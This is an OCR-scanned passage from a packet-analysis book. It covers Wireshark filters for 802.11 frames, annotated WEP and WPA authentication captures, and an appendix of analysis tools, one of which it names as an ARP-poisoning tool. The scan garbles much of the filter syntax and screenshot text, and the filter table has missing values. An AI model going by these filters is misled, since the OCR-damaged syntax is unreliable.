Earlier in this chapter, we discussed the different types of wireless packets you 
might see on a network. You'll often need to filter based on these types and 
subtypes. This can be done with the filters wlan. fc. type for specific types and 
wc. fc.type_subtype for specific type or subtype combinations. For instance, to 
filter for a NULL data packet (a Type 2 Subtype 4 packet in hex), you could 
use the filter wlan. fc.type_subtype == 0x24. Table 13-1 provides a quick refer- 
ence to some common filters you might need when filtering on 802.11 packet 
types and subtypes. 


Table 13-1: Wireless Types/Subtypes and Associated Filter Syntax 


Frame type/subtype Filter syntax 

Management frame wlan.fc.type == 
Control frame wlan.fc.type == 
Data frame wlan.fc.type == 


(continued) 
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Table 13-1 (continued) 


Frame type/subtype Filter syntax 

Association request wlan.fc.type_ subtype == 0x00 
Association response wlan.fc.type subtype == 0x01 
Reassociation request wlan.fc.type_ subtype == 0x02 
Reassociation response wlan.fc.type subtype == 0x03 
Probe request wlan.fc.type_subtype == 0x04 
Probe response wlan.fc.type subtype == 0x05 
Beacon wlan.fc.type_ subtype == 0x08 
Disassociate wlan.fc.type subtype == Ox0A 
Authentication wlan.fc.type_ subtype == Ox0B 
Deauthentication wlan.fc.type subtype == 0x0C 
Action frame wlan.fc.type_ subtype == 0x0D 
Block ACK requests wlan.fc.type subtype == 0x18 
Block ACK wlan.fc.type subtype == 0x19 
Power save poll wlan.fc.type subtype == Ox1A 
Request to send wlan. fc.type_ subtype == 0x1B 
Clear to send wlan.fc.type subtype == 0x1C 
ACK wlan.fc.type_subtype == 0x1D 
Contention free period end wlan.fc.type subtype == Ox1E 
NULL data wlan.fc.type subtype == 0x24 
QoS data wlan.fc.type_subtype == 0x28 
Null QoS data wlan.fc.type subtype == 0x2C 


Filtering a Specific Frequency 


If you are examining a compilation of traffic that includes packets from 
multiple channels, it can be very useful to filter based on each individual 
channel. For instance, if you are expecting to have traffic present on only 
channels 1 and 6, you can input a filter to show all channel 11 traffic. If 
you find any traffic, then you'll know that something is wrong—perhaps a 
misconfiguration or a rogue device. To filter on a specific channel, use this 
filter syntax: 





wlan_radio.channel == 11 





This will show all traffic on channel 11. You can replace the 11 value with 
the channel you wish to filter. There are hundreds of additional useful filters 
that you can use for wireless network traffic. You can view additional wireless 
capture filters on the Wireshark wiki at hitp://wiki.wireshark.org/. 


Saving a Wireless Profile 


It’s a fair bit of work to go through all the trouble of setting up specific 
columns and saving custom filters for wireless packet analysis. Instead 
of reconfiguring and removing columns and filters all the time, you can 
create and save a custom profile to quickly switch between configurations 
for wired and wireless analysis. 

To save a custom profile, first configure wireless columns and filters to 
your liking. Then right-click the active profile listing at the bottom right of 
the screen and click New. Name the profile Wireless and click OK. 


Wireless Security 


3e80211_WEPauth 
.pcapng 


The biggest concern when deploying and administering a wireless network 
is the security of the data transmitted across it. With data flying through 
the air, free for the taking by anyone who knows how, it’s crucial that the 
data be encrypted. Otherwise, anyone with Wireshark and an AirPcap can 
see it. 


When another layer of encryption, such as SSL or SSH, is used, traffic will still be 
encrypted at that layer, and the user’s communication will still be unreadable by a 
person with a packet sniffer. 


The original preferred method for securing data transmitted over wire- 
less networks was in accordance with the Wired Equivalent Privacy (WEP) 
standard. WEP was mildly successful for years until several weaknesses were 
uncovered in its encryption key management. To improve security, new 
standards were created. These include the Wi-Fi Protected Access (WPA) 
and the more secure WPA2 standards. Although WPA and WPA2 are fal- 
lible, they are considered more secure than WEP. 

In this section, we’ll look at some WEP and WPA traffic, along with 
examples of failed authentication attempts. 


Successful WEP Authentication 


The file 3e80211_WEPauth.pcapng contains an example of a successful con- 
nection to a WEP-enabled wireless network. The security on this network 
is set up using a WEP key. This is a key you must provide to the WAP (the 
wireless access point) in order to authenticate to it and decrypt data sent 
from it. You can think of this WEP key as a wireless network password. 

As shown in Figure 13-11, the capture file begins with a challenge from 
the WAP (28:c6:8e:ab:96:16) to the wireless client (ac:cf:5c:78:6c:9c) in 
packet 3 ®. The purpose of this challenge is to determine whether the wire- 
less client has the correct WEP key. You can see this challenge by expanding 
the 802.11 header and its tagged parameters. 

The wireless client responds, as shown in Figure 13-12, by decrypting 
the challenge text @ with the WEP key and returning it to the WAP in 
packet 4. The WEP key was provided by the user when attempting to con- 
nect to the wireless network. 
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M Wireshark - Packet 3 - 3e80211_wepauth = o x 





Frame 3: 184 bytes on wire (1472 bits), 184 bytes captured (1472 bits) on interface @ 
Radiotap Header v@, Length 20 
802.11 radio information 
IEEE 802.11 Authentication, Flags: ........ E 
Type/Subtype: Authentication (@x@@@b) 
> Frame Control Field: @xbeee 
-000 0001 0011 101@ = Duration: 314 microseconds 
Receiver address: Apple _78:6c:9c (ac:cf:5c:78:6c:9c) 
Destination address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c) 
Transmitter address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
Source address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
BSS Id: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
sassa cane asao 0000 = Fragment number: @ 
0000 0000 0100 .... = Sequence number: 4 
> Frame check sequence: @xad79ad88 [correct] 
V IEEE 802.11 wireless LAN management frame 
vV Fixed parameters (6 bytes) 
Authentication Algorithm: Shared key (1) 
Authentication SEQ: @x0002 
Status code: Successful (@x@00@) 
V Tagged parameters (130 bytes) 
vV Tag: Challenge text @ 
Tag Number: Challenge text (16) 
Tag length: 128 
Challenge Text: 97ebed97ca8a77fddae72796F85d56095@a64cad5@53e5d9... 


qvvv 











No.: 3 « Time: 0.048458 « Source: Netgear_ab:96:16 « Destination: Apple_78:6c:_.: Authentication - Type/Subtype: Authentication « Type/Subtype: Authentic 


[cose] | eb 








Figure 13-11: The WAP issues challenge text to the wireless client. 





M Wireshark - Packet 4 - 3e80211_wepauth = o x 





> Frame 4: 203 bytes on wire (1624 bits), 203 bytes captured (1624 bits) on interface @ 
> Radiotap Header v@, Length 20 
> 802.11 radio information 
V IEEE 862.11 Authentication, Flags: .p......C 
Type/Subtype: Authentication (@x@@@b) 
> Frame Control Field: @xbe4e 
.000 0001 0011 1010 = Duration: 314 microseconds 
Receiver address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
Destination address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
Transmitter address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c) 
Source address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c) 
BSS Id: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
ass osse arda 0000 = Fragment number: @ 
@@0@ 0110 0100 .... = Sequence number: 100 
> Frame check sequence: @xlafc56d8 [correct] 
> WEP parameters 
V Data (147 bytes) 
@ Data: ©839cc71Obf2dalc936cfe6a722Fb8e7a8eee78529270d43... 
(Length: 147] 











No.: 4 « Time: 0.050464 « Source: Apple_78:6c:9c « Destination: Netgear_ab:96:..: Authentication « Type/Subtype: Authentication « Type/Subtype: Authentice 


[cose] [Heb 








Figure 13-12: The wireless client sends the unencrypted challenge text back to the WAP. 
The WAP responds to the wireless client in packet 5, as shown in 


Figure 13-13. The response contains a notification that the authentication 
process was successful @. 
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M Wireshark - Packet 5 - 3e80211_wepauth = oO x 





Frame 5: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @ 
Radiotap Header v@, Length 20 
802.11 radio information 
IEEE 802.11 Authentication, Flags: ........ C 
YV IEEE 802.11 wireless LAN management frame 
V Fixed parameters (6 bytes) 
Authentication Algorithm: Shared key (1) 
Authentication SEQ: @x@004 
Status code: Successful (@x0000) @ 











No.: 5 « Time: 0.051292 > Source: Netgear_ab:96:16 « Destination: Apple_..entication  Type/Subtype: Authentication « Type/Subtype: Authenticat: 








Figure 13-13: The WAP alerts the client that authentication was successful. 


Finally, after successful authentication, the client can transmit an asso- 
ciation request, receive an acknowledgment, and complete the connection 
process, as shown in Figure 13-14. 














No. Time Source Destination Protocol Length Channel Signal strength (dBm) Datarate Info 
6 0.052565 Apple 78:6c:9c Netgear_ab:96:16 802.11 110 1 -40 1 Association Request, SN=101, FN=0, Flags=........C, SSID=DENVEROFFICE 
7 0.053902 Netgear_ab:96:16 Apple 78:6c:9c_ 802.11 119 1 -171 Association Response, SN=6, FN=@, Flags=........C 








Figure 13-14: The authentication process is followed by a simple two-packet association request and response. 


Failed WEP Authentication 


3e80211 In our next example, a user enters a WEP key to connect to a WAP. After 
-WEPauthfail several seconds, the wireless client utility reports that it was unable to 
.pcapn . . : . 
ee connect to the wireless network but fails to tell why. The resulting file is 


3e80211_WEPauthfail.pcapng. 

As with the successful attempt, this communication begins with the 
WAP’s sending challenge text to the wireless client in packet 3. In packet 4, 
the wireless client sends its response using the WEP key provided by the user. 

At this point, we would expect to see a notification that the authentica- 
tion was successful, but we see something different in packet 5, as shown in 
Figure 13-15 @. 





@ Wireshark - Packet 5 - 3e80211_wepauthfail - o x 





Frame 5: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @ 
Radiotap Header v@, Length 20 
802.11 radio information 
IEEE 802.11 Authentication, Flags: ........ C 
V IEEE 802.11 wireless LAN management frame 

vV Fixed parameters (6 bytes) 

Authentication Algorithm: Shared key (1) 

Authentication SEQ: @x0004 

@ Status code: Authentication rejected because of challenge failure (@x@@ef) 











No.: 5 * Time: 0.063918 - Source: Netgear_ab:96:16 - Destination: Apple_78:6c:.. (dBm): -19 + Data rate: 1 + Info: Authentication, SN=1, FN=0, Flags=-.000e. 








Figure 13-15: This message tells us the authentication was unsuccessful. 
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This message tells us that the wireless client’s response to the challenge 
text was incorrect and suggests that the WEP key the client used to decrypt 
the text must have also been incorrect. As a result, the connection process 
has failed. It must be reattempted with the proper WEP key. 


Successful WPA Authentication 


WPA uses a very different authentication mechanism than WEP, but it still 
relies on the user to enter a key into the wireless client to connect to the 
network. An example of a successful WPA authentication is found in the 
file 3e80211_WPAauth.pcapneg. 

The first packet in this file is a beacon broadcast from the WAP. 
Expand the 802.11 header of this packet, look under tagged parameters, 
and expand the Vendor Specific heading, as shown in Figure 13-16. You 
should see a section devoted to the WPA attributes of the WAP @. This lets 
us know the version and implementation of WPA that a WAP supports, if any. 





@ Wireshark - Packet 1 - 3e80211_wpaauth = Oo x 


Frame 1: 336 bytes on wire (2688 bits), 336 bytes captured (2688 bits) on interface @ 
Radiotap Header v@, Length 20 
802.11 radio information 
IEEE 802.11 Beacon frame, Flags: ........ C 
V IEEE 802.11 wireless LAN management frame 
Fixed parameters (12 bytes) 
V Tagged parameters (276 bytes) 
Tag: SSID parameter set: DENVEROFFICE 
Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] 
Tag: DS Parameter set: Current Channel: 1 
Tag: Traffic Indication Map (TIM): DTIM 1 of @ bitmap 
Tag: Country Information: Country Code US, Environment Any 
Tag: ERP Information 
V Tag: Vendor Specific: Microsof: WPA Information Element @ 
Tag Number: Vendor Specific (221) 
Tag length: 22 
OUI: @@-50-f2 
Vendor Specific OUI Type: 1 
Type: WPA Information Element (@x@1) 
WPA Version: 1 
Multicast Cipher Suite: @@-5@-f2 TKIP 
Unicast Cipher Suite Count: 1 
Unicast Cipher Suite List 00-50-f2 TKIP 
Auth Key Management (AKM) Suite Count: 1 
Auth Key Management (AKM) List @0-50-f2 PSK 
Tag: Extended Supported Rates 24(B), 36, 48, 54, [Mbit/sec] 
Tag: Vendor Specific: Microsof: WMM/WME: Parameter Element 
Tag: Vendor Specific: Epigram: HT Capabilities (8@2.11n D1.10) 
Tag: HT Capabilities (8@2.11n D1.10) 
Tag: Vendor Specific: Epigram: HT Additional Capabilities (8@2.11n D1.00) 
Tag: HT Information (8@2.11n D1.10) 
Tag: Vendor Specific: AtherosC: Advanced Capability 
Tag: Vendor Specific: AtherosC: Unknown 
Tag: Vendor Specific: Microsof: WPS 








No.: 1 - Time: 0.000000 - Source: Netgear_ab:96:16 Destination: Broadcast * Pro... 1 « Info: Beacon frame, SN=568, FN=0, Flags=........ C B1=100, SSID=DENVERC 


[cee] [i 








Figure 13-16: This beacon lets us know that the WAP supports WPA authentication. 


Once the beacon is received, the wireless client (ac:cf:5c:78:6c:9c) 
broadcasts a probe request in packet 2 that is received by the WAP (28:c6 
:8e:ab:96:16), which responds in packet 3. After that, authentication and 
association requests and responses are generated between the wireless client 
and WAP in packets 4 through 7. These are similar to the authentication and 
association packets we saw in the WEP example earlier, but no challenge 
and response occur here. That exchange happens next. 


Things really start to pick up in packet 8. This is where the WPA hand- 
shake begins, continuing through packet 11. During the handshake, the 
WPA challenge and response take place, as shown in Figure 13-17. 


Source Destination Protocol Length Channel Signal strength (dBm) Data rate Info 
. Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 -18 24 Key (Message 


. Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 -42 1 Key (Message 
Netgear_ab:96:16 Apple_78:6c:9c EAPOL 181 -18 36 Key (Message 
. Apple_78:6c:9c Netgear_ab:96:16 EAPOL 157 -42 1 Key (Message 





Figure 13-17: These packets are a part of the WPA handshake. 


There are two challenges and responses. Each can be matched with the 
other based on the Replay Counter field under the 802.1x Authentication 
header, as shown in Figure 13-18. Notice that the Replay Counter value for 
the first two handshake packets is 1 ® and for the second two handshake 
packets is 2 8. 








Frame 8: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits) on interface @ 

Radiotap Header v@, Length 20 

802.11 radio information 

IEEE 802.11 QoS Data, Flags: ......F.C 

Logical-Link Control 

V 8@2.1X Authentication 

Version: 8@2.1X-2004 (2) 
Type: Key (3) 
Length: 95 
Key Descriptor Type: EAPOL WPA Key (254) 
Key Information: @x@@89 
Key Length: 32 

(1) Replay Counter: 1 
WPA Key Nonce: c@3d@f88f4d79265ea39537@b28ef c4ef67ba9F46b83eec7... 
Key IV: 00 
WPA Key RSC: 0000000000000000 
WPA Key ID: 0000000000000000 
WPA Key MIC: @ 
WPA Key Data Length: @ 

















No.: 8 * Time: 0.377010 - Source: Netgear_ab:96:16 « Destination: Apple_78:6c:..l: 1 « Signal strength (dBm): -18 « Data rate: 24 - Info: Key (Message 1 
Close Help 








Frame 10: 181 bytes on wire (1448 bits), 181 bytes captured (1448 bits) on interface @ 
> Radiotap Header v@, Length 20 
802.11 radio information 
IEEE 802.11 QoS Data, Flags: ......F.C 
Logical-Link Control 
V 8@2.1X Authentication 
Version: 8@2.1X-2004 (2) 
Type: Key (3) 
Length: 119 
Key Descriptor Type: EAPOL WPA Key (254) 
Key Information: @x@1c9 
Key Length: 32 
@ Replay Counter: 2 
WPA Key Nonce: c03d0f88f4d79265ea39537@b28ef c4ef67ba9F46b83eec7... 
Key Iv: 0000000000 
WPA Key RSC: 0000000000000000 
WPA Key ID: 0000000000000000 
WPA Key MIC: 6ad7ebeb26231a497c¢344a86e9ebf9C7 
WPA Key Data Length: 24 
WPA Key Data: dd160050f20101000050f20201000050f 20201000050F202 

















No.: 10 - Time: 0.380809 - Source: Netgear_ab:96:16 - Destination: Apple_78:6c..l: 1 + Signal strength (dBm): -18 * Data rate: 36 + Info: Key (Message 3, 
Close Help 








Figure 13-18: The Replay Counter field helps us pair challenges and responses. 
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After the WPA handshake is completed and authentication is success- 
ful, data begins transferring between the wireless client and the WAP. 


This example is from a WAP using WPA with TKIP encryption. TKIP is just one 
method for encrypting data on WLANs. There are many other types of encryption, 
and different access points will support different techniques. A WAP using a differ- 
ent encryption method or WPA version will likely exhibit different characteristics at 
the packet level. You can read the RFC document relating to the technology being 
used to better decipher what the connection sequence should look like. 


Failed WPA Authentication 


3e80211 As with WEP, we’ll look at what happens when a user enters a WPA key and 

_WPAauthfail the wireless client utility reports that it was unable to connect to the wire- 

.pcapn m $ ž $ . . 

ere less network without indicating the problem. The resulting file is 3e80211 
_WPAauthfail.pcapne. 

The capture file begins in a manner identical to the file showing a suc- 
cessful WPA authentication and includes probe, authentication, and asso- 
ciation requests. The WPA handshake begins in packet 8, but in this case, 
there are eight handshake packets instead of the four we saw in the success- 
ful authentication attempt. 

Packets 8 and 9 represent the first two packets seen in the WPA hand- 
shake. In this case, however, the challenge text the client sends back to the 
WAP is incorrect. As a result, the sequence is repeated in packets 10 and 
11, 12 and 13, and 14 and 15, as shown in Figure 13-19. Each request and 
response can be paired using the Replay Counter value. 

No. Time Source Destination Protocol Length Channel Signal strength (dBm) Datarate Info 
8 0.073773 Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -18 24 Key (Message 1 of 4) 
9 0.076510 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -30 1 Key (Message 2 of 4) 
10 1.074299 Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -19 24 Key (Message 1 of 4) 
11 1.076573 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -32 1 Key (Message 2 of 4) 
12 2.075292 Netgear_ab:96:16 Apple _78:6c:9c EAPOL 157 1 -18 36 Key (Message 1 of 4) 
13 2.077610 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -29 1 Key (Message 2 of 4) 
14 3.077211 Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -18 48 Key (Message 1 of 4) 
15 3.079537 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -32 1 Key (Message 2 of 4) 





Figure 13-19: The additional EAPol (Extensible Authentication Protocol over LAN) packets here indicate the 


failed WPA authentication. 
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Once the handshake process has been attempted and failed four times, 
the communication is aborted. As shown in Figure 13-20, the wireless client 


deauthenticates from the WAP in packet 16 ®. 


3 





@ Wireshark - Packet 16 - 3e80211_wpaauthfail = o x 





Frame 16: 5@ bytes on wire (400 bits), 5@ bytes captured (400 bits) on interface @ 
Radiotap Header v@, Length 20 
802.11 radio information 
YV IEEE 802.11 Deauthentication, Flags: ........ c 
@ Type/Subtype: Deauthentication (0x000c) 
Frame Control Field: @xc@@e 
-000 0001 0011 1010 = Duration: 314 microseconds 
Receiver address: Apple _78:6c:9c (ac:cf:5c:78:6c:9c) 
Destination address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c) 
Transmitter address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
Source address: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
BSS Id: Netgear_ab:96:16 (28:c6:8e:ab:96:16) 
stew Sees wae 0000 = Fragment number: @ 
@00@ 0000 9000 .... = Sequence number: @ 
Frame check sequence: @x69fd528@ [correct] 
V IEEE 802.11 wireless LAN management frame 
v Fixed parameters (2 bytes) 
Reason code: Class 2 frame received from nonauthenticated STA (@x®@06) 








No.: 16 « Time: 3.080348 - Source: Netgear_ab:96:16 « Destination: Apple_78:...m): -17 * Data rate: 1 > Info: Deauthentication, SN=0, FN=0, Flags=..... 


Close Help 








Figure 13-20: After failing the WPA handshake, the client deauthenticates. 


Final Thoughts 


Although wireless networks are still considered somewhat insecure, unless 
a plethora of additional security mechanisms are piled on, that concern 
hasn’t slowed their deployment in various organizational environments. As 
communication without wires is the new norm, it’s crucial to be able to cap- 
ture and analyze data on wireless networks, as well as wired ones. The skills 
and concepts taught in this chapter are by no means exhaustive, but they 
should provide a jump-start for understanding the intricacies of trouble- 
shooting wireless networks with packet analysis. 
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FURTHER READING 


Although the tool you’ve primarily used in 
this book is Wireshark, a great many addi- 
tional tools will come in handy when you're 
performing packet analysis—whether for gen- 
eral troubleshooting, slow networks, security issues, 
or wireless networks. This appendix lists some useful 
packet analysis tools and other learning resources. 





Packet Analysis Tools 


Let’s take a look at a few of the tools P’'ve found useful for packet analysis. 


CloudShark 

CloudShark (developed by QA Café) is my favorite tool for storing, index- 
ing, and sorting packet captures. CloudShark is a commercial web applica- 
tion that serves as a packet capture repository. It allows you to tag packet 


captures for quick reference and to add comments in the captures them- 
selves. It even provides some analysis features similar to those in Wireshark 


(Figure A-1). 
> CloudShark Enterprise admin Preferences Appliance Setup Log Out 


start-lan.cap 16.7 kb - 53 packets - more info 


y Filter v Apply | Clear Ọ Analysis Tools ~ || Œ Graphs | v | | 4 Download || # Profile 




















Start typing a Disp 

No. © | Time Source Destination Protocol Length Info 

31 © 14.657298 fe80::cad7:19ff:fe4b:662a ff02::1 ICMPv6 190 Router Advertisement from c8:d7:19:4b:66:2a 

32 o ££02::16 ICMPv6 110 Multicast Listener Report Message v2 

33 o ££02::16 ICMPv6 110 Multicast Listener Report Message v2 

34 hm IPv6 neighbor discovery began here... ££02::1:ffc3:alfb ICMPv6 78 Neighbor Solicitation for fe80::821f:2ff:fec3:alfb 
35 e - 100220  TEBUTTE 7 Trees:alfb ££02::2 ICMPv6 70 Router Solicitation from 80:1f£:02:c3:al:fb 

36 © 37.161462 fe80::821f:2ff:fec3:alfb ££02::2 ICMPv6 70 Router Solicitation from 80:1f:02:c3:al:fb 

rf © 41.162770 fe80::821f:2ff:fec3:alfb ff02::2 ICMPv6 70 Router Solicitation from 80:1f:02:c3:al:fb 

38 © 55.164537 fe80::821f:2ff:fec3:alfb ff02::2 ICMPv6 70 Router Solicitation from 80:1f:02:c3:al:fb 

39 © 55.297940 fe80::cad7:19ff:fe4b:662a ff02::1 ICMPv6 190 Router Advertisement from c8:d7:19:4b:66:2a 

40 O 55.302198 :: ££02::1:ffc3:alfb ICMPv6 78 Neighbor Solicitation for 3001:dddd::821f:2f£f:fec3:alfb 
41 © 55.507433 3001:dddd::821f:2ff:fec3:alfb 3001:S5la:cafe::1 UDP 1514 Source port: 11778 Destination port: commplex-link 
42 © 55.912451 192.168.1.1 224.0.0.1 IGMPv2 42 Membership Query, general 

43 © 58.510548 3001:dddd::821f:2ff:fec3:alfb 3001:Sla:cafe::1 UDP 1514 Source port: 11779 Destination port: commplex-link 
44 © 61.513551 3001:dddd::821f:2ff:fec3:alfb 3001:5la:cafe::1 UDP 1514 Source port: 11780 Destination port: commplex-link 


paar yaar Tare aran soaiconiass pnonann ace 
D Frame 40: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) 

D Ethernet II, Src: EdimaxTe_c3:al:fb (80:1£:02:c3:al:fb), Dst: IPvémcast_ff:c3:al:fb (33:33:ff:c3:al:fb) 
b 

b 





Internet Protocol Version 6, Src: :: (::), Dst: ££02::1:ffc3:alfb (££02::1:f£c3:alfb) 
Internet Control Message Protocol v6 








0000 33 33 ff c3 al fb 80 1f 02 c3 al fb 86 dd 60 00 kk Pes ra 
0010 00 00 00 18 3a ff 00 00 00 00 00 00 00 00 00 00 
0020 00 00 00 00 00 00 ff 02 00 00 00 00 00 00 00 00 oe . 
0030 00 01 ff c3 al fb 87 00 a4 2c 00 00 00 00 30 0l .....s... PEETELI 














Figure A-1: A sample capture file viewed with CloudShark 


If you or your organization maintains a large library of packet captures, 
or you're like me and are always losing your files, then CloudShark can help. I 
have CloudShark deployed in my network, and I used it to store and organize 
all the packet captures for this book. You can learn more about CloudShark 
at hitps://www.cloudshark.org/. 


WireEdit 


You may need to create specifically formatted packets to support intrusion 
detection system testing, penetration testing, or network software develop- 
ment. One option is to re-create the scenario that will generate the packets 
you need in a lab, but doing so can be time-consuming. Another technique is 
to find a similar packet and manually edit it to match your needs. My favorite 
tool for this task is WireEdit, a graphical tool that allows you to edit specific 
values in a packet. The very intuitive user interface is similar to Wireshark’s. 
Wirekdit will even recalculate packet checksums so that your packets don’t 
appear invalid when opened in Wireshark. You can learn more about 
WireEdit at hitps://wireedit.com/. 
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Cain & Abel 


Discussed in Chapter 2, Cain & Abel is one of the better Windows tools for 
ARP cache poisoning. Cain & Abel is actually a very robust suite of tools, 
and you will surely be able to find other uses for it as well. It is available 
from http://www.oxid.it/cain.html. 


Scapy 


Scapy is a very powerful Python library that you can use to create and manip- 
ulate packets based on command line scripts within its environment. Simply 
put, Scapy is the most powerful and flexible packet-crafting application avail- 
able. You can read more about Scapy, download it, and view sample Scapy 
scripts at hitp://www.secdev.org/projects/scapy/. 


TraceWrangler 


Packet captures contain a lot of information about your network. If you need 
to share a packet capture from your network with a vendor or colleague, you 
might not want them to have that information. TraceWrangler helps solve 
this problem by providing the ability to sanitize packet captures by anony- 
mizing the different types of addresses present. It has a few other features, 
such as the ability to edit and merge capture files, but I primarily use it for 
sanitization. Download TraceWrangler at https://www.tracewrangler.com/. 


Tcpreplay 

Whenever I have a set of packets that I need to retransmit over the wire to 
see how a device reacts to them, I use Tcpreplay. This tool is designed spe- 
cifically to retransmit the packets contained within a packet capture file. 
Download it from http://tcpreplay.synfin.net/. 


NetworkMiner 


NetworkMiner is a tool primarily used for network forensics, but lve found 
it useful in a variety of other situations as well. Although it can be used 

to capture packets, its real strength is how it parses packet capture files. 
NetworkMiner will take a PCAP file and break it down into the operat- 
ing systems detected and the sessions between hosts. It even allows you to 
extract transferred files directly from the capture (Figure A-2). All these 
features are available in the free version; the commercial version offers a 
few other helpful features, such as the ability to perform OS fingerprinting, 
compare findings against a whitelist, and increase the speed of packet cap- 
ture processing. NetworkMiner is free to download from hitp://www.netresec 
.com/?page=NetworkMiner. 
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@ NetworkMiner 2.0 = x 
File Tools Help 
— Select a network adapter in the list — v| p @ Stop 
Keywords Anomalies pen 
Hosts (129) Files (131) Images (33) Messages Credentials (2) Sessions (113) DNS (271) Parameters (1199) Filename MD5 | 
Filter keyword. [ ~] Case sensitive |ExactPhrase ~| | Clear Fooly | snortlog.... #301c2. | 
——— = -ins — ———— LL | 
D. port Protocol Filename ‘Extension Size Details A 
TCP 53130 TisCertificate nr-data.net.cer cer 1203B8 TLS Certificate: C 
TCP 53130 TlsCertificate GeoTrust SSL CA -G2.cer cer 1117B TLS Certificate: C 
TCP 53130 TisCettificate GeoTrust Global CA.cer cer 897B TLS Certificate: C 
TCP 53138 HttpGetNormal index html[2].ocsp-response ocsp-+esponse 1455B gb.symcd.com/ 
TCP 53139 HttpGetChunked index.html html 86958B www.meetup.con 
TCP 53142 HttpGetNormal almond min js javascript javascript 2758 B  static2.meetupsta 
TCP 53140 HttpGetNormal meetup_jquery_ui.css css 672586 static2. meetupsta 
TCP 53144 HttpGetNormal client min js javascript javascript 369286  static2. meetupsta 
TCP 53145 HttpGetNormal info Widget.min js javascript javascript 206398  static2. meetupsta 
TCP 53151 HttpGetNormal group Metadata.min js javascript javascript 24098 static! meetupsta 
TCP 53149 HttpGetNormal mttwoButtonCTA+estimonial.css css 445B static meetupsta 
TCP 53147 HttpGetNomal print.css css 2171B static! meetupsta 
TCP 53141 HttpGetNormal meetup-modem.css css 2239718  static2.meetupsta 
TCP 53139 HttpGetNormal index html.6D1A30C1.css css 5582B www.meetup.con 
TCP 53146 HttpGetNormal whitney.css css 83455 B staticl meetupsta 
TCP 53150 HttpGetNormal ghome.min js javascript javascript 102 378 B static] meetupsta | 
TCP 53148 HttpGetNormal chapterbase.css css 165 1018 static] meetupsta 
TCP 53143 HttpGetNormal Meetup.Base jquery.min js javascript javascript 414355 8B static? meetupsta 
TCP 53152 HttpGetNormal thumb _ 156167702 jpeg ipeg 2611B  photos3.meetups! 
TCP 53156 HttpGetNormal thumb, 1516996 12 jpeg PNG PNG 2571B photos3.meetupsi 4 
= > Reload Case Files 
Live Sniffing Buffer Usage: 











Figure A-2: Using NetworkMiner to examine files in a packet capture 


Caplipper 


One thing I hope you've learned in this book is that finding the answers you 
need often involves looking at the same data in a different way. CapTipper 
is a tool designed for security practitioners who analyze malicious HTTP 
traffic (see Figure A-3). It provides a richly featured shell environment that 
allows the user to interactively explore individual conversations to find redi- 
rections, file objects, and malicious content. It also provides a few handy 
features for interacting with the data you uncover, including the ability to 
extract gzipped data and submit file hashes to VirusTotal. You can down- 
load CapTipper at hitps://www.github.com/omriher/CapTipper/. 





t 1. Python 


defender: CapTipper-master csanders$ sudo ./CapTipper.py ek_to_cryptowal14.pcapng 
CapTipper v@.3 b13 - Malicious HTTP traffic explorer tool 
Copyright 2015 Omri Herscovici <omriher@gmail.com 


[A] Analyzing PCAP: ek_to_cryptowall4.pcapng 


[+] Traffic Activity Time: Mon, 01/04/16 16:25:54 
[+] Conversations Found: 


-> text/html (services) [16.2 KB] (Magic: GZ) 
te-someone-visitor-n 2-tonight-sweet t-gigantic-dance-third -> text/html Cquite-someone-visitor-non 


sense-tonight-sweet-await-gigantic-dance-third) [576.0 B] (Magic: GZ) 
: -> ce licatlen/a shockwave-flash OLAFA [84.1 KB] (Magic: SWF) 
H in -> text/html Cearnest-fantastic-thorough-weave 


-grotesque- forth- awaken- fountain) [20.0 8] agic GZ) 
-> application/octet-strean (enVjZ2dtcnpz) [350.0 KB] (Magic: BINARY) 
-> text/html CVOEHSQ.php) [0.0 B] 
-> text/html (76NiLm.php) [14.0 B] (Magic: TEXT) 
'c -> text/html (VOEHSQ. php) [0.0 8] 
-> text/html (76N1Lm.php) [120.8 KB] (Magic: TEXT) 
-> text/html (VOEHSQ.php) [0.0 B] 
-> text/html (76NiLm.php) [6.0 B] (Magic: TEXT) 


Figure A-3: Analyzing an HTTP-based malware delivery with CapTipper 


ngrep 

If you are familiar with Linux, you’ve no doubt used grep to search data. 
ngrep is similar and allows you to perform very specific searches of packet 
capture data. I mostly use ngrep when capture and display filters won’t do 
the job or get too wildly complex. You can read more about ngrep at http:// 
ngrep.sourceforge.net/. 


libpcap 

If you plan to do any advanced packet parsing or create applications that deal 
with packets, you’ll become very familiar with libpcap. Simply put, libpcap is 
a portable C/C++ library for network traffic capture. Wireshark, tcpdump, 
and most other packet analysis applications rely on the libpcap library at 
some level. You can read more about libpcap at hitp://www.tcpdump.org/. 


Npcap 

Npcap is the Nmap Project’s packet-sniffing library for Windows that is 
based on WinPcap/libpcap. It is reported to deliver performance increases 
when capturing packets, and it provides extra security features related to 
restricting packet capture to administrators and leveraging Windows User 
Account control. Npcap can be installed as an alternative to WinPCap and 
used with Wireshark. You can learn more about it here: https://www.github 


.com/nmap/npcap/. 


hping 

hping is one of the more versatile tools to have in your arsenal. hping is a 
